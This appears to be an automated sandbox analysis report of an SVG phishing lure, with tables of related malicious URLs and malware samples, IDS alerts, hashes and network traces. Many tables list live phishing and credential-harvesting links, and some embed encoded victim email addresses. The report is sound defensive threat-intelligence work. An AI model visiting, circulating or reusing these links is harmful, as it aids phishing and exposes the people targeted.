Excluded IPs from analysis (whitelisted): 104.18.38.233, 172.64.149.23, 172.217.165.142, 142.250.80.35, 142.251.40.238, 172.253.122.84, 142.250.80.46, 142.250.65.206, 142.250.65.238, 199.232.210.172, 142.251.40.234, 142.250.72.106, 142.251.41.10, 172.217.165.138, 142.250.65.202, 142.250.64.74, 142.250.65.170, 142.251.40.138, 142.251.40.170, 142.251.40.202, 142.251.32.106, 142.250.65.234, 142.250.81.234, 142.251.35.170, 142.250.64.106, 142.251.40.106, 199.232.214.172, 142.251.40.142, 142.250.65.195, 142.250.80.110, 142.250.80.10, 142.250.80.74, 142.250.80.106, 142.250.176.202, 142.250.80.42, 172.202.163.200
Excluded domains from analysis (whitelisted): crt.comodoca.com.cdn.cloudflare.net, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, www.googleapis.com, fe3cr.delivery.mp.microsoft.com, crt.comodoca.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.193.229	https://account.esign.us.com/documentWizard.html?Uv=4WaUN2Pkric74yNetF	Get hash	malicious	Unknown	Browse
	http://t.dripemail2.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzQyNDg1MjAxLCJuYmYiOjE3NDI0ODUyMDEsImFjY291bnRfaWQiOiI5MjExNzMxIiwiZGVsaXZlcnlfaWQiOiI2ZGY2cmIydXVwbjY4cnNhdWo0NCIsInRva2VuIjoiNmRmNnJiMnV1cG42OHJzYXVqNDQiLCJzZW5kX2F0IjoxNzQyNDgzOTQ4LCJlbWFpbF9pZCI6MTA1MDc4ODcsImVtYWlsYWJsZV90eXBlIjoiQnJvYWRjYXN0IiwiZW1haWxhYmxlX2lkIjo0MTkzMDc4LCJ1cmwiOiJodHRwOi8vZ2NyLnVwcGxleC5jby5rZT9fX3M9cWMwZ2JsdTk1emZnYmh3ZHp5OG4mdXRtX3NvdXJjZT1kcmlwJnV0bV9tZWRpdW09ZW1haWwmdXRtX2NhbXBhaWduPVdlK2dvdCthK21ha2VvdmVyLiJ9.nJ9tzd3-jhbWgSNwRLHamHKYwZXuNcZIG2E1QBFM5fg	Get hash	malicious	HTMLPhisher	Browse
	ACHStub_XNZSCHPTIF.svg	Get hash	malicious	HTMLPhisher	Browse
	Product_Requirements.Doc (1).HTML.html	Get hash	malicious	HTMLPhisher	Browse
	http://smtp.legiteam.net/newsletters/lt.php?c=3595&m=3675&nl=1&s=ae2e0733c87747578f73487fef60fa9c&lid=128917&l=https://mardo.pk/veri?token=YnJpYW5AY2JmbG9vcnNpbmMuY29t	Get hash	malicious	Unknown	Browse
	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://sharepointsync.zoholandingpage.com/vandpsolutions.com?PO60267SP-20-2025	Get hash	malicious	HTMLPhisher	Browse
	https://ezproxy.lakeheadu.ca/login?url=https://gamma.app/docs/Incoming-PDF-Document-wpeaqji1jmv0zug?mode=present#card-f9lsd6ekhyr749b	Get hash	malicious	Unknown	Browse
	https://trezzerwalletse.webflow.io/	Get hash	malicious	HTMLPhisher	Browse
	b9bdbc2d.eml	Get hash	malicious	HTMLPhisher	Browse
104.18.94.41	https://is.gd/UFQVAx/	Get hash	malicious	Unknown	Browse
	https://ruggessd.de/Cppss/inc/Odrivex	Get hash	malicious	HTMLPhisher	Browse
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse
	Optimum Nationwide - development 2025.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://outl0okwebadmin.pages.dev/owa	Get hash	malicious	HTMLPhisher	Browse
	https://vintagelights.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201/	Get hash	malicious	HTMLPhisher	Browse
151.101.194.137	http://2gewf232.blogspot.com.au/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery.min.js
	https://kjhgt55555555555.blogspot.com/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery.min.js
	http://kjhgt55555555555.blogspot.cz/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery.min.js
	http://facebooksecurity.blogspot.ro/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://facebooksecurity.blogspot.pe/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
104.18.95.41	https://is.gd/UFQVAx/	Get hash	malicious	Unknown	Browse
	https://ruggessd.de/Cppss/inc/Odrivex	Get hash	malicious	HTMLPhisher	Browse
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse
	https://Newscorp.wtranovations.com/edzxesfee/d205afd3/?0pcb7=dHRob3JwZUBuZXdzY29ycC5jb20=__;!!F0Stn7g!E0yRpQQMM0NAZFe0WZgVZoU9UW-O8fAzEbpBRs9Nx6gsHTBN5bkxYcJeSQF_jMoSh7a26p6PazhhZgHyEsclklDH$	Get hash	malicious	Unknown	Browse
	https://api.dtf.ru/v2.8/redirect?to=https://gamma.app/docs/Incoming-PDF-Document-ga28akpd8nljjf8?mode=doc	Get hash	malicious	HTMLPhisher	Browse
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse
	Optimum Nationwide - development 2025.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://outl0okwebadmin.pages.dev/owa	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://ruggessd.de/Cppss/inc/Odrivex	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://zUYhdE55WC.moydovv.com/E3vZA9xKnTKlSIK1aKHxdPAJNIK2B8R759pHRVHMant9mhDaugnmroXfaaJI3VUv31CUdIosgVXLcmQhK3CsxJtPJtDvEQKAt91kTAbcXoucgoUpxyCERfZlKSfiUM9emoii6jDM5ZoNKc1glQxJrztwicvbX4YQmjiPXMI7qfPzlqH9BcUrftRtFaq3jHOLNSFfX8xU/diaSKFTHV15tFihEpBIThwxEdyskPo0paIPPYM9wtDpmJrjiq4U0Tt7UDEqnWeRbhAvWGc92DU9yqFEuJDNMpEpK9jryHKFjWAuejFjaegj9NDBMkNMHZVO2HgACL0MF2BMAwNb0O2ngmUJwMaJDbB6QiDuTamRe49ziBEF7xYe4v6Hq7Tk8OZEPDXY03fbOkTqmiaQS/hr@vectra.ai	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://api.dtf.ru/v2.8/redirect?to=https://gamma.app/docs/Incoming-PDF-Document-ga28akpd8nljjf8?mode=doc	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
challenges.cloudflare.com	https://is.gd/UFQVAx/	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://ruggessd.de/Cppss/inc/Odrivex	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://Newscorp.wtranovations.com/edzxesfee/d205afd3/?0pcb7=dHRob3JwZUBuZXdzY29ycC5jb20=__;!!F0Stn7g!E0yRpQQMM0NAZFe0WZgVZoU9UW-O8fAzEbpBRs9Nx6gsHTBN5bkxYcJeSQF_jMoSh7a26p6PazhhZgHyEsclklDH$	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://api.dtf.ru/v2.8/redirect?to=https://gamma.app/docs/Incoming-PDF-Document-ga28akpd8nljjf8?mode=doc	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	Optimum Nationwide - development 2025.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
jsdelivr.map.fastly.net	https://account.esign.us.com/documentWizard.html?Uv=4WaUN2Pkric74yNetF	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://Newscorp.wtranovations.com/edzxesfee/d205afd3/?0pcb7=dHRob3JwZUBuZXdzY29ycC5jb20=__;!!F0Stn7g!E0yRpQQMM0NAZFe0WZgVZoU9UW-O8fAzEbpBRs9Nx6gsHTBN5bkxYcJeSQF_jMoSh7a26p6PazhhZgHyEsclklDH$	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://api.dtf.ru/v2.8/redirect?to=https://gamma.app/docs/Incoming-PDF-Document-ga28akpd8nljjf8?mode=doc	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	http://t.dripemail2.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzQyNDg1MjAxLCJuYmYiOjE3NDI0ODUyMDEsImFjY291bnRfaWQiOiI5MjExNzMxIiwiZGVsaXZlcnlfaWQiOiI2ZGY2cmIydXVwbjY4cnNhdWo0NCIsInRva2VuIjoiNmRmNnJiMnV1cG42OHJzYXVqNDQiLCJzZW5kX2F0IjoxNzQyNDgzOTQ4LCJlbWFpbF9pZCI6MTA1MDc4ODcsImVtYWlsYWJsZV90eXBlIjoiQnJvYWRjYXN0IiwiZW1haWxhYmxlX2lkIjo0MTkzMDc4LCJ1cmwiOiJodHRwOi8vZ2NyLnVwcGxleC5jby5rZT9fX3M9cWMwZ2JsdTk1emZnYmh3ZHp5OG4mdXRtX3NvdXJjZT1kcmlwJnV0bV9tZWRpdW09ZW1haWwmdXRtX2NhbXBhaWduPVdlK2dvdCthK21ha2VvdmVyLiJ9.nJ9tzd3-jhbWgSNwRLHamHKYwZXuNcZIG2E1QBFM5fg	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
	https://web-ckjw9newsoladbdacma0202.powerappsportals.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	ACHStub_XNZSCHPTIF.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
	Product_Requirements.Doc (1).HTML.html	Get hash	malicious	HTMLPhisher	Browse	151.101.129.229
	https://u2587569.ct.sendgrid.net/ls/click?upn=u001.tNCzvDY7Bps68NDHX050sfuZjwcZnKCiceJckL-2B-2BdtgW4S9czNQzTHuxGTDYUy2rgldwS-2FXaSK9tb15A2WijtesF9nKvyaekU8V6epmALsKFNzS6qhT8Y0hQxsOJhohPcwmraeJIKZH9TyOwWHJmFuZBAHXDHHKqUVL-2FUGP0fxMK3MBdQxp6bY6Ha8NZBWkjR7mgJ5fMAAuHlcLpVUtqCKWF7-2BW-2FrkTigMom4or-2B8m-2FS4TyrdjqGrNF-2BS24W1HEc4Nny-2FQbpl5Jr7z80HD8ERxHFxRHxDPLk-2B4YAHJEAIhKPImdnrMMiJGr9A4uEtPP39M5paIcI5sxlMhNL6z-2BKgTbMjlWBJaVVTxeufFQoFkl5u4NmsI44p17fSNIf2kHaYMMtnw0u0ApwVb9wZ3tJmp8AGgV65F1zRvnrFTPWISLatDmHGN3CKd73qRTLKmto5ZSsX3-2BwDUXMaUslNCFnOeOBvQkBDvUajrHfQmlQGD0zklpJ9WRzeYfjf4q-2Bc4Qu1Nf91VjDSdu48kXA2Z83MvwnSyKbPC863DiAR29AdxPmi1nIgYKk06DgcAWMuq2ENVqbbCQtUVgtZaYHCTljloaWego9b111Sg-2Be7K5sjWZvL10Fd-2Fe8x58DkwbvBNZsy8kmn2mGi8qVqTeWx9-2Brhlr4k1qrS1CvUmSqedu0NrwPQeaJupno6T-2Bqo-2BzulaLbvdWFreaPwNJ5CTaPVCN9fpvhUAzUS-2FlWTTCA-2FnSuCPTscXiBnW-2B4ungzp4n8Lqpuk6XGZd1rraYdTpcYsjIFBAluxLUtcFe1RkWRujzmOwPcDxwpZgxVj9TsDAzb4JrMPmBN2Sin7qgSZpDFxIb3yOVqUu9FExdB-2Fwpe-2FOokwr4-3D8A5E_-2FOI-2FxWKZBS0RBubCQDq4P71qBkOoJj9TQ-2FBNKjRykiT9mUix5aObCdsaE3X4Sh22h5PBW1VseZKNRSMsHcEXChaxx4fpyalr8S5mdNAGDIFE0BdGE6SFPQC1ze3qi3ZOs99VkecPMd3ju7N-2BWWYyJE6xPy-2FgXhUKDOj-2BkfDKJ8KqABvqtFGuxd5KhNBGU7VDh7BHPjKSbdGclNFQCojq4NR0NeZ6xwwI2wKPGRZHpHU-3D	Get hash	malicious	Unknown	Browse	151.101.1.229
	http://smtp.legiteam.net/newsletters/lt.php?c=3595&m=3675&nl=1&s=ae2e0733c87747578f73487fef60fa9c&lid=128917&l=https://mardo.pk/veri?token=YnJpYW5AY2JmbG9vcnNpbmMuY29t	Get hash	malicious	Unknown	Browse	151.101.193.229

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://account.esign.us.com/documentWizard.html?Uv=4WaUN2Pkric74yNetF	Get hash	malicious	Unknown	Browse	151.101.193.229
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.108.133
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://heaps-stacks-dot-yamm-track.appspot.com/Redirect?ukey=1b8CXE9bUPWFcC1c1F8lA3RQTXwVFBpfyYcJruZUiF2I-315622270&key=YAMMID-72566926&link=https://gamma.app/docs/You-have-received-a-new-PDF-Document--h3dhybyo6gh1yrn	Get hash	malicious	HTMLPhisher	Browse	151.101.2.217
	https://us-west-2.protection.sophos.com/?d=acemlnc.com&u=aHR0cHM6Ly9nZW5lZTA4OC5hY2VtbG5jLmNvbS9sdC5waHA_eD0zRFp5fkdFNkkzak02c0IuMFE5SlZPbHoxWEVvdmdUMWpodGlrWFk2SXFUTDY1NHQwRXkueHVXLTI0MmptTkg=&i=NWViYjJhOTFjNjExZGIxNzZlNWJmMWVl&t=QzhSY081ME5acmRyK2UrZzhOeUptOEZSalJmOXBRT296T3VVSFBEYjhRaz0=&h=0f6487164a0c4d4aa48b27145a41d739&s=AVNPUEhUT0NFTkNSWVBUSVa2PvphJ-roG1YsZQ0LDcHdjkZVAn6zgPgxnVnqAkRaBrDPbAVi4RV_2I6sSDhpdAvBiK0io_RpDOPmVHnrmYq971KEABznsYh9cQWfH5jywQ	Get hash	malicious	HTMLPhisher	Browse	151.101.129.91
	https://ruggessd.de/Cppss/inc/Odrivex	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
CLOUDFLARENETUS	https://www.octopuspro.life/#/login	Get hash	malicious	Unknown	Browse	172.67.186.63
	EvaxLAF.exe1.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	merged.exe.bin.exe	Get hash	malicious	Njrat	Browse	104.26.13.205
	qNEBT6e.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.167.18
	Setup.exe.bin.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	104.21.32.1
	ZqkKpwG.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	50KfF6O.exe1.exe	Get hash	malicious	Skuld Stealer	Browse	172.67.74.152
	meguebestkingofinternationalkingscomingback.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	104.21.80.1
FASTLYUS	https://account.esign.us.com/documentWizard.html?Uv=4WaUN2Pkric74yNetF	Get hash	malicious	Unknown	Browse	151.101.193.229
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.108.133
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://heaps-stacks-dot-yamm-track.appspot.com/Redirect?ukey=1b8CXE9bUPWFcC1c1F8lA3RQTXwVFBpfyYcJruZUiF2I-315622270&key=YAMMID-72566926&link=https://gamma.app/docs/You-have-received-a-new-PDF-Document--h3dhybyo6gh1yrn	Get hash	malicious	HTMLPhisher	Browse	151.101.2.217
	https://us-west-2.protection.sophos.com/?d=acemlnc.com&u=aHR0cHM6Ly9nZW5lZTA4OC5hY2VtbG5jLmNvbS9sdC5waHA_eD0zRFp5fkdFNkkzak02c0IuMFE5SlZPbHoxWEVvdmdUMWpodGlrWFk2SXFUTDY1NHQwRXkueHVXLTI0MmptTkg=&i=NWViYjJhOTFjNjExZGIxNzZlNWJmMWVl&t=QzhSY081ME5acmRyK2UrZzhOeUptOEZSalJmOXBRT296T3VVSFBEYjhRaz0=&h=0f6487164a0c4d4aa48b27145a41d739&s=AVNPUEhUT0NFTkNSWVBUSVa2PvphJ-roG1YsZQ0LDcHdjkZVAn6zgPgxnVnqAkRaBrDPbAVi4RV_2I6sSDhpdAvBiK0io_RpDOPmVHnrmYq971KEABznsYh9cQWfH5jywQ	Get hash	malicious	HTMLPhisher	Browse	151.101.129.91
	https://ruggessd.de/Cppss/inc/Odrivex	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
CLOUDFLARENETUS	https://www.octopuspro.life/#/login	Get hash	malicious	Unknown	Browse	172.67.186.63
	EvaxLAF.exe1.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	merged.exe.bin.exe	Get hash	malicious	Njrat	Browse	104.26.13.205
	qNEBT6e.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.167.18
	Setup.exe.bin.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	104.21.32.1
	ZqkKpwG.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	50KfF6O.exe1.exe	Get hash	malicious	Skuld Stealer	Browse	172.67.74.152
	meguebestkingofinternationalkingscomingback.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	104.21.80.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 149 x 20, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1604
Entropy (8bit):	7.81880023427329
Encrypted:	false
SSDEEP:	24:3h4tbD/UJEJqT8k0tCCBwe3QMx+RBDW7i1exMkJ659fhL03Emo0WJDI3hTk1:3h4tbD8JzTp0yS+3W7TxI55hL00rOZm
MD5:	83DD78CC8F4E85E3537E8BCDA7047D5B
SHA1:	A830A868A0538578C0921AF100C7E93A4368F796
SHA-256:	B7D25CDE0F4DD2A4E054F91CB69121CFB495EF29C3F34B95BFE6676A0C6EFB26
SHA-512:	141E6F4059C73F8522BDF9B2A99C6216FF0BBBE673F089B197AB29D4C564AEBF790EF71522473D24939719DEBC2793E20C092DEDB22EE66A49BA0D276F5D6A68
Malicious:	false
Reputation:	low
URL:	https://reasdti.org/page/images/emailphone.png
Preview:	.PNG........IHDR..............N.2....sRGB.........gAMA......a.....pHYs..........o.d....IDAThC.OHUK....K.D...D.D..A.Z..q#....... -"D..a;..0(......n.Y......B.....,0.....7..=..=.n....w....o....9.@....D....3.M..9..?~.tvv....K.hhh...[%....0^YY..9sF.?..o......={.V;...288(.....?..o.Jkk.U.9u.\.\|Y....o..M.........]gbb"....X__....../...`.............m4...7.UF.PdTISTT$....J..I._.....RXX(....._`........g...{...9q.JcMMM244$_.~..'OJRR....;w.H....OLL...<U...&..........eaaA>...d[......'J...U...RPP.l..../_.~......M.9t.deeY..k......N...}.O..1n.....KIIQ..}.8......\|k..[=&c=z.H..;&iiiVk...aY^^....5~zz......h.c8...?.NZZZB...9p....r..l..S.u}0....H4m...4f....F..i?..u=.}.9.}.z.]..v.A;s...u...=.p..?]g...~.a.P..7.f.....}..A.].&.......Z4.....>}Z....TE2../...z0%.z..f},.u%%%VIT.Cp...**B.......#sss.<99)....B(.8p`S..8.9...O.....h...T<..!........D........F....^)....q..Eu...0c.G...T...s...=n>P.33Sn.-..<P.W.^u..u.l:...&}...u5vX\|3..k&.V'p./_....}..m...q.{.v...

Source: Yara match	File source: Paradigm-corp00990__098.html, type: SAMPLE
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Source: Paradigm-corp00990__098.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Paradigm-corp00990__098.html	HTTP Parser: No favicon
Source: https://reasdti.org/#dZbQYmVja3liQHBhcmFkaWdtLWNvcnAuY29tdZbQ	HTTP Parser: No favicon

Source: Joe Sandbox View	IP Address: 151.101.193.229 151.101.193.229
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 104.18.95.41 104.18.95.41
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137

Source: Network traffic	Suricata IDS: 2024228 - Severity 2 - ET PHISHING Suspicious HTML Decimal Obfuscated Title - Possible Phishing Landing Apr 19 2017 : 178.128.102.215:443 -> 192.168.2.24:60867
Source: Network traffic	Suricata IDS: 2024228 - Severity 2 - ET PHISHING Suspicious HTML Decimal Obfuscated Title - Possible Phishing Landing Apr 19 2017 : 178.128.102.215:443 -> 192.168.2.24:60868
Source: Network traffic	Suricata IDS: 2024228 - Severity 2 - ET PHISHING Suspicious HTML Decimal Obfuscated Title - Possible Phishing Landing Apr 19 2017 : 178.128.102.215:443 -> 192.168.2.24:60878

Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.136.148
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.136.148
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.136.148
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.136.148
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.136.148
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.136.148
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.66
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: reasdti.org
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	4.760547791054888
TrID:	Scalable Vector Graphics (18501/1) 78.71% Generic XML (ASCII) (5005/1) 21.29%
File name:	Paradigm-corp00990__098.html
File size:	5'123 bytes
MD5:	448fb5d55cd720e407dc5b8eb69fc248
SHA1:	ca45fd1056e8de1cf0b08edad6dd18834ea87660
SHA256:	55d6378973f937b62196eaf13e5b8d0a693b4231c477da81b12754329c50bb85
SHA512:	dcbe96254056998c9fbbc83cfc7c7544c19fd5111c25322d9541eda8b739b22811232e4352f339215171020d9a045c6cd06be3784fc9874e0b5c8a3395a84c37
SSDEEP:	96:aDPFVbPFVbXPFVsrUHcgzicHCrTycnozMICBZpmfsifjp5Cz:aDPHPnPArU8ofWozm/p2s
TLSH:	D4B1951DB8E126530233A3B25B6BF148EA32562F114202D87FDDDB241FB15A417A7ECC
File Content Preview:	<?xml version="1.0" encoding="UTF-8"?>..<svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" style="display:block; position:fixed; top:0; left:0;" overflow="hidden" xml:space="preserve">.. The inventor studied a riddle while taught

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 21, 2025 19:13:11.272013903 CET	54763	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:11.272167921 CET	60494	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:11.368486881 CET	53	54851	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:11.381401062 CET	53	60494	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:11.424446106 CET	53	55680	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:11.444103003 CET	53	54763	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:12.113012075 CET	137	137	192.168.2.24	192.168.2.255
Mar 21, 2025 19:13:12.163090944 CET	53	53622	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:12.280373096 CET	53	60439	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:12.878807068 CET	137	137	192.168.2.24	192.168.2.255
Mar 21, 2025 19:13:13.640851021 CET	137	137	192.168.2.24	192.168.2.255
Mar 21, 2025 19:13:14.299200058 CET	62252	53	192.168.2.24	1.1.1.1
